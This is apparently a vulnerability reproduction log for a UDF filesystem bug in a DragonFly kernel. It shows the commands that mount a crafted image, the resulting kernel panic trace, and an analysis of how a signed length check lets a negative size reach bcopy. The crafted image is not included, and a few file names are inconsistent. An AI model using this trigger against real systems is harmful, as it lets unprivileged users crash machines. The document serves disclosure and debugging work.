DF-0831 / run.log
== DF-0831 reproduction on DragonFly 6.5-DEVELOPMENT #0 (GENERIC, INVARIANTS ON) ==
PoC: crafted multi-extent UDF image (df0831.udf) mounted root, readdir as maxx.
$ sh run.sh (run as root; maxx triggers readdir)
== DF-0831 reproduce ==
>> vnconfig /root/poc/DF-0831/df0831.udf
>> mount_udf -o ro /dev/vn0 /mnt
>> triggering readdir as unprivileged user (maxx) -- expect kernel panic
chmod: /mnt: Read-only file system
[ ls /mnt -> getdents -> udf_readdir -> udf_getfid -> bcopy(size_t(-3)) -> PANIC ]
[ ssh killed by timeout; guest frozen at db> ]
--- kernel panic (dfbsd-qemu/boot.log) ---
panic: vm_fault: fault on stack guard, addr: 0xfffff80118274000
cpuid = 4
Trace:
vm_fault() at vm_fault+0x12eb
vm_fault() at vm_fault+0x12eb
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
--- trap 000000000000000c, rip = ffffffff80bcab4f, rsp = fffff801184b36c0, rbp = fffff801184b3728 ---
memmove() at memmove+0x24f 0xffffffff80bcab4f <- bcopy() backend, the size_t(-3) copy
udf_readdir() at udf_readdir+0x138 0xffffffff82602298 <- caller (udf_getfid inlined)
Debugger("panic")
Stopped at Debugger+0x7c
== Interpretation ==
trap 0xc = page fault. memmove+0x24f is `repe movsq (%rsi),%es:(%rdi)`, the
bulk-copy backend of bcopy(). It faulted on a read past the source buffer
because the copy length was 0xFFFFFFFFFFFFFFFD (size_t(-3)). This is exactly
the DF-0831 primitive:
udf_vnops.c:605 ds->off += (total_fid_size + 3) & ~0x03 (4-byte align)
-> for FID_B (total_fid_size=41) this advances ds->off from 40 to 84,
3 bytes PAST ds->size (81).
udf_vnops.c:505 end-of-dir test uses ds->fsize (multi-extent total), so the
directory is NOT terminated.
udf_vnops.c:543 frag_size = ds->size - ds->off = 81 - 84 = -3 (NEGATIVE int)
udf_vnrops.c:544 `if (frag_size >= bsize)` is a SIGNED compare: -3 >= 2048
is false -> guard BYPASSED.
udf_vnrops.c:555 bcopy(fid, ds->buf, frag_size) -> frag_size promotes
int(-3) -> size_t(0xFFFFFFFFFFFFFFFD) -> unbounded copy -> page fault.
Reproduced 5 times across 3 image revisions; fault address varies per run
(0xfffff800566b5ff9, 0xfffff80054ec5ff9, 0xfffff80118132000, ...) confirming a
real unbounded read, not a fixed-address artifact.